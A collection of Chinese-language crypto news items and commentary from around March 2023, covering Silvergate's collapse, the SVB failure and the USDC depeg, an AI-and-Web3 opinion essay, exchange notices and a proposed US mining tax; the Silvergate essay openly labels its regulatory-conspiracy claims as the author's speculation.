发表了一份声明，向客户保证其 SEN 网络仍在正常工作，在这份声明中，Alan 明确指出，如果出现任何流动性问题，该银行有能力从美国联邦住房贷款银行借款。 在 FTX 和 Alameda 倒闭的同一天，Silvergate 发布了另一份声明，证实了 FTX 本身在该银行有账户，但 FTX 存款仅占所有存款的比例不到 10%。 尽管 Silvergate 股票因缺乏 FTX 敞口而上涨，但复苏是短暂的。去年 12 月，美国政界人士开始呼吁就 Silvergate 与 FTX 和 Alameda 的关系展开调查。 今年 1 月，Silvergate 透露在 FTX 危机后，它经历了高达 81 亿美元的银行挤兑，这抹去了它自 2013 年以来赚取的所有利润。Silvergate 还不得不裁员 40% 以维持生计，后来又透露它已经从美国联邦住房贷款银行贷款了。 奇怪的是，全球最大的资产管理公司BlackRock利用这个机会逢低买入，持有了 Silvergate 7.2% 的股份，另一家名为 Stake Street 的资产管理公司也在同一时间持有了 9.2% 的股份。 2 月，美国司法部宣布正在就 FTX、Alameda 事件调查 Silvergate。Silvergate 随后成为市场上被卖空最多的股票。 本月早些时候，Silvergate 宣布将推迟发布其年度报告，承认它可能面临更多调查，并承认它可能无法生存。上周，Silvergate 关闭了 SEN 网络，因为其知名度最高的顶级加密公司客户都放弃了它，转移到了其他加密银行。 最新消息是，Silvergate 正在缩减业务并清算资产。Silvergates 的资产可能会被摩根大通这样的大型银行收购，进而让华尔街控制加密行业最有价值的金融基础设施。那么，既然 Silvergate 倒闭了，接下来会发生什么？ 正如我在几句话前提到的，大多数 Silvergate 顶级客户都退出并前往其他加密银行。理论上来说，对于客户，这听起来像是一个不错的解决方案，但在实践中，它又产生了两个问题。 要知道，Silvergate 是唯一一家拥有 24/7 全天候法定货币和加密货币交易网络的加密银行，这是人们迫切需要的。而且，美国只有 Signature Bank 和 Metropolitan Bank 这两家其他的大型加密银行。 直到今年 1 月，由于来自 Operation Chokepoint 2.0的监管压力，Metropolitan Bank宣布将退出加密行业。（最初的“Operation Chokepoint”行动是对美国监管机构认为的高风险公司的联合打击。通过向银行业施压，要求其停止与特定行业的公司开展业务，让公司彻底边缘化。2.0 是加密社区起的术语，指代在过去几个月内，美国的所有金融监管机构都在攻击加密业务，似乎并没有兴趣监督加密货币，而是为了关闭它。） 这使得 Signature 成为大多数加密公司唯一可行的选择。这就是为什么大多数 Silvergate 顶级客户最近都转向了 Signature。 问题在于，Signature 早在去年 12 月就宣布，它希望将其在加密行业的风险敞口减半。可怕的是，Signature 从那以后开始将银行服务限制在一些最大的加密公司。一些人可能还记得，Signature 在 1 月份将美元交易限制在 Binance US。好吧，他们最近对 Kraken 做了同样的事情，考虑到它的声誉，这确实是前所未有的。如果这还不够糟糕的话，据报道，Signature 在去年第四季度从联邦住房贷款银行获得了 100 亿美元。这几乎是联邦银行借给 Silvergate 的金额的三倍。 这是非常糟糕的，也可能导致监管机构对 Signature 的审查。虽然 Signature 的客户似乎没有有问题的加密公司，但如果 Silvergate 正式崩溃，监管机构和政客将有“加密威胁银行业”的借口来打击 Signature 和任何其他剩余的加密银行。 即使剩下的少数加密银行以某种方式被允许在没有审查的情况下运营，它仍然不会改变 SEN 网络关闭的事实。我要重申，像 SEN 这样的网络对于加密市场的正常运行是必要的。 没有它，机构很难进出加密行业。更重要的是，没有它，资金流向银行受限于营业时间，这对于 24/7 全天候交易的加密市场来说，将会是一场“灾难”。 因此，加密行业迫切需要新的、像 SEN 一样的交易网络。但到目前为止，似乎只有一家加密公司勇敢地站出来。 几天前，总部位于英国的加密货币支付提供商 BCB Group 的首席执行官宣布，该公司正在研究 SEN 的替代品。BCB 集团希望在今年第二季度（可能是几个月后）启动并运行 SEN 替代方案。 在这个新网络发布之前，加密市场延续奇怪的价格走势不足为奇。运气好的话，谁收购了 Silvergate 的资产，谁就能更快重启 SEN 网络。 最后，我想谈谈 Silvergate 事件中似乎被忽视的一个方面。没有人问为什么最近监管机构和政客专门针对 Silvergate。毕竟，FTX 和 Alameda 在美国的多家加密银行都有账户。 ​ FTX 和 Alameda 在一家名为 Farmington 的小型乡村银行设有账户，两家公司都投资了该银行。 Farmington 在 1 月份悄悄退出了加密行业，并且完全没有受到任何审查。 不管怎样，对 Silvergate 的过度审查从表面上看毫无意义。 回到贝莱德和 Stake Street 上。Silvergate 正在与这两家华尔街最大的机构合作开发加密货币交易平台。这大概也就是贝莱德和 Stake Street 试图帮助拯救 Silvergate 的原因。 所以我要问你的问题是：Silvergate 与其他所有加密银行真正不同的地方是什么？ 答案呼之欲出：Silvergate 的 SEN 网络。一个能够 365 天全天候都可以转移法定货币和加密货币的能力。 让我们回到 Silvergate 稳定币的话题。请记住，Silvergate 准备推出自己的稳定币，该稳定币将在 SEN 上运行。在 2022 年的采访中，Alan 解释说，Silvergate 稳定币的雄心来自观察了稳定币发行商多年的运作，并有能力促进其稳定币的发行和赎回。 Alan 注意到稳定币的主要用例是加密货币交易。他还意识到，监管机构不愿意看到在智能合约区块链上发行的稳定币被用于其他任何用途。 Alan 最终意识到 SEN 是发行可用于支付的稳定币的理想私人网络，因为它能够提供 24/7 全天候即时结算。Silvergate 稳定币本应于 2022 年年底推出，但由于 FTX 的破产而并未如愿。有趣的是，FTX 正计划大约在同一时间推出自己的稳定币。Sam 和 Alan 都曾表示，他们正在与加密行业的公司合作推出各自的稳定币。他们有可能共同努力实现这些稳定币的雄心壮志。 花点时间考虑一下，Alameda 曾经是加密行业最大的做市商之一。由于他们的地位，他们与业内所有最大的公司都有密切的联系。这包括最大的交易平台、稳定币发行商，当然还有几乎所有的加密银行。 至于 Sam，他曾与监管机构和政客有着密切的联系。他与 Gary Gensler（美 SEC 主席）会面的次数比任何其他加密公司都多。 得益于 Alameda 和 FTX，Sam 掌握了很多关于加密行业的敏感信息。这种特殊的事态就是为什么我怀疑 Alameda 的真正目的是帮助监管机构收集有关加密行业的敏感信息，以策划当前对于加密行业的种种打击行动。在这种情况下，我怀疑 Sam 可能与美国当局共享了有关 Silvergate 稳定币的信息。 我怀疑当他们看到 Silvergate 稳定币是为支付而构建并提供 24/7 结算时，他们意识到这看起来与美联储即将推出的快速支付系统FED Now相同。 所以他们需要尽快摆脱 Silvergate 和 SEN。简单地说，即将推出的 Silvergates 稳定币可能被视为美联储即将推出的支付系统的竞争对手。与商业银行的私人稳定币和常规稳定币不同，Silvergate 稳定币将在 SEN 及其华尔街机构的支持下迅速被采用。 也许美联储看到了这一点，摇头说 No。也许他们不希望华尔街参与发行“数字美元”，他们当然也不希望加密行业抢先推出类似的产品。美国政府希望保持对其货币的完全控制，也许这就是它现在与加密行业作斗争的根本原因。  ( 7 min )
    AI 可提高普通人的能力，为 Web3 带来超级应用新叙事
    *撰文：James XYC（推特：@Jmapprotocol｜MAP Protocol 核心开发者 | Forbes 福布斯 Web3 Innovation Pioneer 生产工具、生产关系、生产资料共同组成生产力三大支撑。生产工具的提升若不配以最新的生产关系，也将无疾而终。Web3 如此优秀的生产关系，不去致力于解决新一代生产工具带来的需求，而将精力仅仅放在改造旧的商业模式，这就如同要用电子商务改造线下卖场，淘宝 O2O 失败了，万达失败了，苏宁失败了，国美真快乐更失败了。当下重复杂乱的去中心化金融类应用已经让人觉得疲惫不堪，那未来 Web3 的应用方向，会不会就在 AI 领域？ AI 有三要素：数据，算法，算力。而由于 Web3 的经济模式和激励体系的不同，AIWeb3 同 AI 有本质的区别。根据调研，当下切入 AIWeb3 这个领域的项目有四种类型： 该类型从商业模式切入，旨在做更专业、更垂直的标签纠错和数据提供，比如针对加密圈知识的 ChatGPT。这与一般雇佣产业工人进行标签纠错和数据提供完全不同，是由业内人士训练数据。事实上，只有业内专业人士才能提供业内地道的数据，以及训练后的标签纠错。 若是对数据和算法隐私保护没有要求的 AI，可以通过去中心化计算网络，进行训练。基本上是用边缘计算技术，再配合一个独立的 L1 分布式账本进行耦合，做算力激励和社区治理。当下，香港理工大学研究生院院长曹建农教授在分布式计算领域研究数十年，拥有丰富的学术成果和成型可落地的商业产品。 若对数据和算法有隐私保护需求的 AI，则需要通过联邦学习技术实现，其难点在于如何做到将联邦学习的训练节点进行无许可自由进出。当然也需要一个分布式账本深度耦合进行算力激励。本质上和第二类项目商业模式一样，只不过偏向于隐私计算，当然计算难度也更高。在这一领域，陈纯院士旗下杭州趣链隐私计算团队拥有丰富的研究成果和技术造诣。 大众可以通过 AI 辅助，生成专属的定制音乐，然后再通过 Web3 的机制进行传播及获利，类似应用例如 itoka。 通过 Web3 的运作机制，AI 计算可做到分布式计算，从而大幅度降低社会成本。 在中心化云如亚马逊云中，其毛利可达 40%，用的是工业电，工业带宽，而若能通过分布式计算，成本至少降低 50%。 人类目前能够通过互联网和物联网，低成本地拥有海量数据。但这些数据都掌握在巨头手中，当然也掌握在个体的脑海中。到目前为止，真正能将 AI 使用得非常好、非常有效的是互联网巨头们。因为他们有很好的互联网平台可以搜集到海量的数据，同时他们也有很强大的财力利用数据优化人工智能算法。但是大量没有雄厚财力获取海量数据的中小企业也可以用人工智能来赋能，因为个人和中小企业也掌握了很多数据。 传统非巨头的 AI 公司和云计算公司很多算法和技术很好，但基本上都成为给大型企业做服务的技术外包公司，账期长，工程化复杂，回款困难。AIWeb3 可以大规模地降低整个社会的计算成本，让普通人可以以提供数据和算力的方式参与到 AI 产业的发展中来，对于不是巨头的 AI 算法团队来讲，也有了自己独立发展的空间，这就是一个巨大的机会。 但 AIWeb3 需要一个分布式账本对去中心化算力提供者进行记账和价值分配。去中心化计算技术和去中心化记账技术不同，去中心化计算可以不断演进，对容错率的要求没有“去中心化记账”那么高。Filecoin 这类的去中心化存储现在也变得越来越好用，所以 AIWeb3 技术理论上看是可以先跑起来，再进行不断地优化。 分布式账本从一开始就要求是 ready 的，因为账本是纯金融，容不得半点闪失。在上线的时候就应该是完备的，并且「code is law」基本上没有给到容错的可能性。在分布式计算公链上，每一个计算节点，可以分别跑不同的数据和技术。即便节点虚假计算或者宕机失去计算能力，其他节点也可以接过来接着计算。但是分布式账本系统如比特币网络，所有的节点都在跑同一笔交易。 目前市面上的项目基本上还处于初期阶段，毕竟 ChatGPT 大火才几个月。但分布式计算公链的从业者之前已经在云计算、边缘计算、联邦学习等领域有数年的积累，只不过现在正好到了时间点，暂时还没有成熟可用的产品。但因为技术是成熟的，所以业内已有几个很强悍的团队已经做出 demo 进入到了产品原型阶段，预计都在一年内会陆续推出。 在区块链领域，分布式计算公链也给行业带来了新的生机。当下分布式账本公链的竞争已经白热化，正在崛起的去中心化云计算公链，将成为新基础设施赛道热点。假若分布式记账、分布式存储、分布式计算公链均发展成熟，即便是一个普通的 dApp 如 GameFi，其前端、数值系统等都可以在去中心化计算公链上运行，数据也可以存储于去中心化存储公链，而价值确权由分布式账本完成，这才是真正的 Web3 基础设施的成熟时刻。 彼时 MAP Protocol 将成为 Web3 基础设施中涵盖记账、存储、计算三大模块的互操作性组件和连接器，服务 dApp 开发者，服务 AIWeb3 人工智能应用，助力 Web3 的新时代真正到来。例如圈内某好朋友的一个 AIWeb3 项目，就是通过 AI 生成音乐的 Web3 应用。它的存储放在了一个存储公链上，数据确权记账在另外一个记账公链上，而在 AI 计算环节，还缺一个去中心化计算公链。这个音乐 AI 项目，计划让每个人生成歌曲，然后做成 NFT，去传播售卖。 根据肖风老师观点，人工智能的核心是赋予普通人专业人士的能力。 再看一万小时定律，一个人要成为专家，需要训练学习一万小时。 但是，人工智能可以即刻让这个人成为专家，虽然不可能 100% 和专家一样，但即便拥有专家能力的 50%，也能让普通人受益匪浅。所以，AI 应用应该让用户付费。而不是走之前 NFT 商业模式的老路，创作者 Mint 后让别人来购买。 以音乐 AI 为例 父母或孩子、爱人过生日，如果能用 AI 生成一个定制场景和目标人群的专属曲和词，然后在家人生日庆典上用。用户是不是愿意付费？ 如果这支歌曲，可以存在分布式存储公链上，永久保存，用户是不是愿意付费永久记录这个欢乐的瞬间？ 如果这个 AI 是在分布式计算公链上做的运算，成本效率是中心化云的一半，AI 应用是不是愿意给这个分布式算力网络付费？ 综合来看，AI 应用势必已成 Web3 具有确定性的超级应用。而基于 Web3 社区组织和代币激励体系形成的标签社区，则可以为 AI 提供强大的专业数据来源；基于边缘计算、联邦学习形成的分布式计算公链网络，又将为 AI 应用提供便宜又无法中断的永动机算法训练算力。 作为未来承接数据价值传递的 MAP Protocol 将作为 Web3 时代的 TCP/IP 协议，助力这个伟大的 AI 时代！  ( 5 min )
    Binance增加稳定币现货交易对，进行手续费优惠
    PANews 3月11日消息，Binance将于3月11日14:00（UTC）开放BNB/TUSD、BTC/TUSD、ETH/TUSD、TUSD/USDT、USDC/USDT和USDP/USDT现货交易对。并且用户可以享受以下现货交易对的折扣交易费用：BNB/TUSD、BTC/TUSD、ETH/TUSD、TUSD/USDT、USDC/USDT和USDP/USDT。目前，Binance已停止/将分别停止用户对USDC、USDP和TUSD新存款的BUSD自动转换，用户将无法再从BUSD余额中提取USDC、USDP或TUSD。  ( 4 min )
    恐慌和挤兑袭来袭，USDC这次能扛得住吗？
    原文作者：Jack、Logicrw、FYJ，BlockBeats 1 天时间，SVB 的涟漪效应就来到了加密市场。今晨，因 SVB 中有部分存款，USDC 稳定币发行商 Circle 突然面临严重挤兑，USDC 出现持续性脱锚。同时，Binance、Coinbase 等中心化交易平台均宣布关闭 USDC 的部分兑换服务。截至撰稿时，USDC 价格脱锚至 0.933 美元附近，过去 24 小时已销毁超 27 亿枚 USDC。面临恐慌和挤兑，USDC 会进入死亡螺旋吗？ 稳定币发行商 Circle 今日在社交媒体上发文表示，硅谷银行是 Circle 的六家银行合作伙伴之一，负责与其他银行共同管理 USDC 约 25% 的现金储备。Circle 目前正在等待观察美国联邦存款保险公司接管硅谷银行对其储户的影响，但 Circle 和 USDC 继续正常运营。 据 Circle 官网发布的最新数据显示，目前流通中的 USDC 市值共计约为 434 亿美元，资金储备共计 435 亿美元，其中现金储备为 111 亿美元，占比约为 25%，其余 334 亿美元储备为短期国债投资组合。今天结束时确认，星期四发起的去除余额的指令尚未处理，因此美元稳定币（USDC）账户储备中仍有大约 40 亿美元中的 33 亿美元储备留在 SVB。与其他接受 SVB 银行服务的客户一样，Circle 将遵循各州和联邦监管机构提供的指导。 根据 BlockBeats 目前收集到的信息，Circle 在「SVB 事件」中面临的损失应该不大。但从当前市场的恐慌程度来看，USDC 仍存在持续脱锚的风险。那么在什么情况下，USDC 会出现严重的脱锚呢？BlockBeats 对几个关键影响因素进行了梳理。 首先，USDC 崩盘的前提一定是恐慌情绪的持续。Circle 的背书储备大部分为美国国债，如果恐慌持续，Circle 的现金储备被耗尽，这将导致 Circle 不得不立刻出售自己手中的国债，以应对市场的赎回需求。然而不巧的是，全球加息潮使得整个债券市场的收益率都来到了空前的高度，如果此时出售国债，Circle 将像 SVB 一样面临严重的亏损，使其无法有效应对市场赎回。这时，Circle 赎回周期变长，再次促涨恐慌情绪，赎回加剧，USDC 进入死亡螺旋。 其次是价格锚定和流动性层面，无法及时赎回的 USDC 将通过市场流动性的方法试图逃离。不可否认，就链上流动性而言，USDC 是当前稳定币中的老大，各个 AMM 和借贷协议的 LP 池中都能看到它的影子。这里要说明的是，因为链上借贷行为大多不以 USDC 作为抵押品，因此价格上面临清算的风险并不高，导致脱锚的关键因素实际在于 AMM 上的流动性。现在，我们以 Curve、Uniswap 作为主要依据看一看可供 USDC 出逃的流动性有多少。 在 Curve 上，USDC 最主要的出逃口径就是 3Crv 池。目前，该池 TVL 超 4 亿美元，其中 USDC 的占比近 50%，价值约 2.2 亿美元，DAI 占比约 47%，USDT 占比约 3%。如果恐慌持续发生，则会出现下面两种情况： 1. 大部分持有者将 DAI 视为去中心化庇护所，将 USDC 兑换为 DAI，这时 3Crv 池上暂时有约 2 亿美元的流动性保护 USDC 的锚定。 2. 部分持有者发现 DAI 的锚定大部分由 USDC 背书，选择将 USDC 兑换为 USDT，这时 3Crv 池里 1400 万美元的薄弱流动性便会让 USDC 出现持续甚至是严重的脱锚。 另外一个链上出逃口径就是 USDC 兑 ETH 等资产的 AMM 池，比如 Uniswap V3 的 USDC/ETH 池。目前，USDC 410 亿市值里有超 86% 都在以太坊主网上，价值约 350 亿美元，和其他公链相比，以太坊主网仍是 USDC 出逃的主要口径。 而目前 Uniswap V3 上 TVL 最高的流动性池同样为 USDC 兑 DAI 的 0.01% 和 0.05% 池，TVL 约 4 亿美元，其次才是 USDC 兑 ETH 的流动性池。0.3% 加 0.05% 两个池，TVL 约 3.35 亿美元，其中，两个池内目前共有约 11 万枚 ETH，价值约 1.6 亿。从整个以太坊主网看，目前 TVL 为 260 亿，对稳定币市值的占比也是各公链中最小的（排除 Tron）。 因此，如果市场恐慌较长持续下去，USDC 持有者将在 Curve 池耗尽后选择 AMM 作为出逃口径，用 USDC 兑换 ETH 等各类蓝筹甚至非蓝筹资产。这时，一方面 USDC 可能面临价格死亡螺旋，一方面 ETH 等资产价格也可能出现上涨。 更要命的是，中心化交易平台也开始切断 USDC 的流动性。今晨，Binance 暂时关闭了 USDC 自动转换 BUSD 的功能，并在社交媒体上发文表示，由于 USDC 资产大量流入使自动转换的负担加重，这是 Binance 采取的常规风险管理程序步骤。随后，Coinbase 也做出了同样的声明。要知道，当 CEX 老大哥们也开始逃避 USDC 时，其他交易平台做出同样动作或许只是时间问题。当中心化平台也切断流动性后，USDC 的噩梦就真的来临了。 很显然，Circle 在 SVB 一事中的亏损并不多，USDC 此次脱锚是恐慌或蓄意造成的挤兑，但如果 Circle 真的因此出售自己以国债为主的投资组合，便会将一时的恐慌挤兑转变为真的资产亏空。Circle 此时要做的，就是关闭赎回，宣布融资等外部资金支持，然后等待市场恢复信心。当然，如上文所述，在等待信心恢复的这个过程中，USDC 的严重脱锚是难以避免的。 最要担心的还不光是 USDC 的脱锚问题，而是整个稳定币生态的挤兑风险。想一想，USDT 的大部分储蓄同样是国债，倘若 Circle 最终因为巨大脱锚压力出售手中的国债而导致亏损，难道这场大火就不会蔓延到 USDT 身上吗？ 其次便是 DAI、FRAX 等主要以 USDC 进行背书的去中心化稳定币。BlockBeats 曾在《加密全民战争，「去 USDC 化」稳定币的捍卫之路》中指出了当前稳定币生态严重中心化的问题，其中最主要的因素就是中心化稳定币 USDC 的广泛应用。如果 USDC 真的出现严重脱锚，那么不出 1 日，DAI、FRAX 等稳定币的背书将大打折扣，同样面临着挤兑风险。 而稳定币市场的崩盘，意味着整个加密行业 5 年以上的倒退，因为就目前来说，AMM、借贷、衍生品等 DeFi 应用，甚至是 NFT 和 NFTfi 都早已离不开稳定币的支持，CeFi 则更是如此。稳定币崩塌，散户没有了入金口径，行业内没有了流动性，整个加密生态都陷入休克状态。 当然，现实情况并不一定会这么悲观，我们已经发现，像 LQTY 这样「老牌算稳」的治理 Token 价格正出现上涨。没错，曾经因 Luna 被「证伪」的算法稳定币又回来了，在这一刻，算稳成为了最去中心化甚至是「最安全」的稳定币。如果这个逻辑被市场认可，则 Liquity、Tribe 等古老的算稳项目将暂时成为加密用户的避难所。 当然，这些都只是单纯的设想，我们仍然希望 USDC 能熬过此劫。接下来，Circle 会怎么做呢？  ( 6 min )
    Pantera Capital最近在硅谷银行持有资产
    PANews 3月11日消息，据CoinDesk报道，根据上个月的一份监管文件，加密风投巨头Pantera Capital最近在硅谷银行（SVB）持有资产。在2月3日的ADV表格中，Pantera将SVB列为其私人基金的三家托管人之一，另外两家是BitGo和加密交易所Coinbase的托管服务。在联合首席投资官Joey Krug离职后，Pantera上个月重组了高管层。该公司今年1月透露，其流动性代币基金在2022年亏损80%。  ( 4 min )
    数据：稳定币DAI已脱锚，现报0.94美元，24小时跌幅6%
    PANews 3月11日消息，CoinGecko数据显示，稳定币DAI已出现明显脱锚，现报0.940550美元，24小时跌幅6%。  ( 4 min )
    分析师：根据FDIC的恢复流程， Circle的损失很容易被利息收入覆盖
    PANews 3月11日消息，据加密分析师Adam Cochran分析，根据FDIC（美国联邦存款保险公司）的恢复流程，参考2003年倒闭的Southern Pacific Bank，FDIC会先一次性支付预付股息（约62% ），并在最终付款时支付了94%的资金。如果硅谷银行与这情况类似，那么Circle的最大损失是33亿美金中的1.98亿美元，这一金额很容易被Circle的利息收入所覆盖。  ( 4 min )
    0xScope：过去24小时USDC遭到大规模恐慌提现和销毁
    PANews 3月11日消息，0xScope推特发文称，USDC正在脱钩，统计数据显示了大规模恐慌提现/销毁。其中过去24小时内76.6亿 USDC从CEX取款，Jump套现了1.5亿 USDC，Wintermute/FalconX将USDC存入Coinbase，过去24小时内24亿USDC被销毁。  ( 4 min )
    Coinbase将暂停USDC至USD的转换服务，计划周一重启
    PANews 3月11日消息，Coinbase发推称，平台将在周末银行关闭时暂停USDC-USD的转换。在兑换活动繁忙的时候，转换依赖于银行在正常营业时间内清算的美元转账。Coinbase计划在银行周一开门时重新开始提供转换服务。用户的资产是安全的，随时可以在链上转移。  ( 4 min )
    Curve 3pool中稳定币占比严重倾斜，USDC/USDT已经跌至0.93
    PANews 3月11日消息，受到Circle公布其有33亿美元的储备金存于已破产银行硅谷银行的影响，稳定币兑换协议Curve的3pool中USDT的占比降至1.9%，仅剩830万枚，用户选择将USDC和DAI（部分抵押物为USDC）兑换为USDT。当前在Curve兑换中USDC/USDT已经跌至0.93。  ( 4 min )
    美国联邦存款保险公司：已将硅谷银行存款转入新实体DINB，银行活动将不迟于3月13日恢复
    PANews 3月11日消息，据美国联邦存款保险公司(FDIC)最新公告，加州金融保护和创新部已于本周五下午关闭了硅谷银行并委任美国联邦存款保险公司接管了其业务。目前美国联邦存款保险公司已经创建了一个名为“圣克拉拉存款保险国家银行 (DINB)”的新实体并将硅谷银行存款转入到该实体中以保护客户，所有受保储户将在3月13日（下周一）早上之前完全使用其受保存款，FDIC将在下周内向未投保储户支付预付利息，未投保的存款人将收到其未投保资金剩余金额的接管证书，随着FDIC出售硅谷银行的资产，未来可能会向未投保的储户支付利息。 FDIC确认，截至2022年12月31日，硅谷银行的总资产约为2090亿美元，存款总额约为1754亿美元。在关闭时，超出保险限额的存款数额尚未确定。银行活动将不迟于3月13日恢复，包括网上银行和其他服务，硅谷银行的官方支票将继续清算。  ( 4 min )
    Circle：仍在硅谷银行中持有33亿美元USDC储备金
    PANews 3月11日消息，据官方消息，稳定币发行商Circle推特发文称，已确认周四发起的电汇尚未处理，约400亿美元的USDC储备金中有33亿美元仍在硅谷银行中。Circle呼吁硅谷银行能继续维持，并遵循州和联邦监管机构提供的指导。  ( 4 min )
    Hedera已升级主网并修复漏洞，主网已恢复运行
    PANews 3月11日消息，据官方消息，Hedera Status推特发文称，已升级主网以修补漏洞，主网现已正常运行。据此前消息，Hedera披露攻击细节，攻击者对Hedera主网的智能合约服务代码进行攻击，将部分用户账户持有的Hedera Token Service代币转移到自己的账户中。攻击者的目标是在多个DEX上用作流动性池的账户，这些DEX使用Uniswap V2派生的合约代迁移过来使用Hedera Token Service，包括Pangolin Hedera、SaucerSwap和HeliSwap。当攻击者将通过攻击获得的代币移动到Hashport Network Bridge时，Bridge运营者检测到该活动并迅速采取行动将其禁用。  ( 4 min )
    华尔街日报：Meta计划进一步裁员，规模将与去年大致相当
    PANews 3月11日消息，据华尔街日报报道，知情人士透露，Meta计划在未来几个月分多轮宣布进一步裁员，裁员规模将与去年裁员13%的规模大致相当。知情人士说，第一波裁员预计将于下周宣布，非工程类职位可能受到的冲击尤其严重。与此同时，预计Meta还将关闭一些项目和团队。知情人士称，将被削减的项目包括Meta的硬件和元宇宙部门Reality Labs中的可穿戴设备项目，这表明短期内Meta将放弃推广虚拟现实和增强现实产品，而将其作为长期的研究工作。  ( 4 min )
    马斯克：对推特收购硅谷银行持开放态度
    PANews 3月11日消息，雷蛇联合创始人兼首席执行官陈民亮（Min-Liang Tan）推特发文称，认为推特应该收购硅谷银行，并成为一家数字银行。特斯拉首席执行官马斯克回复称，他对这个观点持开放态度。  ( 4 min )
    dYdX：不会假设USDC等同于USD，交易者不会因USDC-USD价格变化而被平仓
    PANews 3月11日消息，去中心化衍生品交易平台dYdX在推特发文表示，鉴于最近围绕硅谷银行发生的事件，dYdX决定将继续以USDC的实际美元价格来运行，不会假设USDC等同于美元USD。在USDC与美元脱钩的情况下，所有以USDC支付的头寸、抵押品和融资以美元计算的价值都会下降。交易者不会因USDC-USD价格变化而被平仓。融资支付将继续正常运作，交易者以USDC的实际价值进行支付。  ( 4 min )
    Coinbase更新质押服务的条款和条件：出售或转让资产前必须解除质押
    PANews 3月11日消息，据decrypt报道，迫于监管压力，Coinbase正在更新其质押服务的条款和条件。在本周五给客户的一封电子邮件中，Coinbase表示质押服务将继续提供，但Coinbase仅充当连接质押用户、验证者和协议的服务提供商，还将收取“透明的Coinbase费用”，条款中变动最大的是“用户现在必须在出售或转让某些资产之前取消质押，这使Coinbase的服务更符合区块链网络上原生存在的质押服务类型，现在必须在Coinbase上解除质押的资产是Solana (SOL)、Cosmos (ATOM)、Cardano (ADA)和Tezos (XTZ)”。Coinbase还提醒用户，在其平台上质押的任何资产可能需要“几个小时或几周”才能取消质押，转移或出售所需时间取决于协议规则和Coinbase的处理时间”。  ( 4 min )
    Bybit CEO：Bybit和其客户资金对Silvergate和硅谷银行没有任何敞口
    PANews 3月11日消息，Bybit联合创始人兼CEO Ben Zhou推特发文称，Bybit和其客户资金对Silvergate和硅谷银行没有任何敞口，一切照常运行。  ( 4 min )
    美国加密矿企或将被最高征税30%，核能挖矿会是出路吗？
    2009年，比特币矿业在芬兰赫尔基辛正式被开启后，历经十余年发展早已成为加密市场的基石，也是行业兴衰的晴雨表。但各国不断变化的监管政策及急速飙升的电力成本等因素让矿工们不得不四处“流浪”，这使得全球的算力格局也在不断变化，而美国无疑是目前最大的加密挖矿聚集地之一。 然而，美国总统拜登近日在其政府的2024财年预算中提议分阶段对加密挖矿征收30%的电力成本税，对于利润持续压缩的矿企们而言此消息无疑是雪上加霜。与此同时，加密矿业因能源消耗而饱受诟病后，核能挖矿开始得到重视，特别是在政策制定者高度关注的美国，已经建成了首个承载比特币挖矿服务的核动力数据中心，且矿企TeraWulf也已在美国运营首例的核能挖矿。 随着美国“征税大刀”挥向加密矿业，将对该国矿企带来怎样的影响？核能挖矿又能否成为一条可持续的发展之路？ 根据美国总统拜登一项旨在“减少挖矿活动”的预算提案显示，美国加密矿工或将被征收30%的电力成本税。美国财政部3月9日发布的一份预算补充说明文件显示，任何使用资源的公司（无论是自有还是租赁资源）都将“缴纳相当于数字资产挖矿所用电力成本30%的消费税” 。 该提案建议此类税收将在2023年12月31日之后的纳税年度实施，并在三年内以每年10%的速度分阶段实施，到第三年达到最高30%。同时，加密矿工们还将需要报告其“使用的电量和类型以及电量的价值”。此外，获得离网电力需求的加密货币矿工仍需缴纳税款，并且还需估算任何“发电厂”产生的电力成本。 同时，该文件也明确指出，此类税收可能会降低美国整体的矿机数量。chainbulletin.com的全球比特币挖矿地图显示，美国当前拥有的全网比特币算力占比达到了37.84%，成为了当今全球比特币算力市场的核心。 来源：chainbulletin.com 而当前在美矿企的业务情况不容乐观，例如Hut 8报告其2022年年收入为1.507亿加元（1.09亿美元），与上一年相比减少了2310万加元；Riot Platforms发布的2022年财年报告显示，其截至2022年12月的财年收入为2.592亿美元，全年净亏损5.096亿美元；Hive Blockchain截至2022年12月31日的季度净亏损为9000万美元等；Iris Energy 截至2022年12月31日的净亏损达1.44亿美元。此外，美国最大的加密挖矿公司之一Core Scientific(CORZ.US)在巨额亏损的情况下还申请了第11章破产保护。如果征税政策落地，无疑会让本来就亏损的矿企们雪上加霜。 同时，比特币算力的不断创新高，更是进一步压缩了矿企们的利润空间。BTC.com数据显示，截至3月10日，比特币算力达到288.93 EH/s，近一年的涨幅超52.3%。 近一年的比特币算力 来源：BTC.com 不过，也有分析认为，在目前共和党赢得众议院控制权的情况下，拜登的预算案或将面临着一定的反对压力，可能难以迅速在国会获得通过。不过，这份提案也凸显了拜登的财务优先政策，为其寻求连任铺路。 “由于加密挖矿的增长而导致能源消耗增加，已对环境造成了冲击，并且可能对环境正义原则（注：以人类的可持续生存和发展为基础而建立起来的价值观念）产生影响，也会提高与挖矿业者共享电网的能源价格。同时，加密挖矿还会给当地公用事业和社区带来不确定性和风险，因为挖矿活动变化多端且流动性强。而对矿工的用电量进行征收消费税可以减少挖矿活动及其相关的环境影响和其他危害。”上述文件指出。 实际上，长期以来，加密挖矿行业被指是耗能排碳的环境杀手，被认为消耗了巨量的能源。美国参议员Edward Markey和众议员Jared Huffman不久前曾宣布，他们将在国会重新引入《加密资产环境透明度法案》，拟要求加密货币挖矿公司须披露温室气体的排放量，并要求环境保护署对美国矿企营运造成的环境影响启动调查。 而当下，核能挖矿正成为矿企们的“新宠儿”，相比电里挖矿，这种方式对环境影响更小且成本也相对低。例如，近期比特币矿企TeraWulf位于美国宾夕法尼亚州的核动力比特币挖矿设施Nautilus Cryptomine就已开始运营，共有近8000台矿机开始工作，算力约1.0 EH/s。此外，该企业还将在未来几周内将另外8000台矿机投入挖矿，产能到5月可达到1.9 EH/s，预计到第二季度初其总算力将达到5.5 EH/s。 不仅如此，美国首个承载比特币挖矿服务的核动力数据中心（Cumulus Susquehanna data center campus）已于近期竣工。独立电力生产商Talen Energy子公司、零碳数据中心制造商Cumulus Data已经完成了其第一个由25亿瓦特核电站供电的数据中心动力外壳，该数据中心将直接连接到宾夕法尼亚州东北部的Susquehanna核电站，其占地约1200英亩的园区预计将托管比特币挖矿和云计算服务。而在2021年8月，Talen Energy和加密矿企TeraWulf签署了合资协议，预计将于今年第一季度提供50兆瓦净挖矿能力。 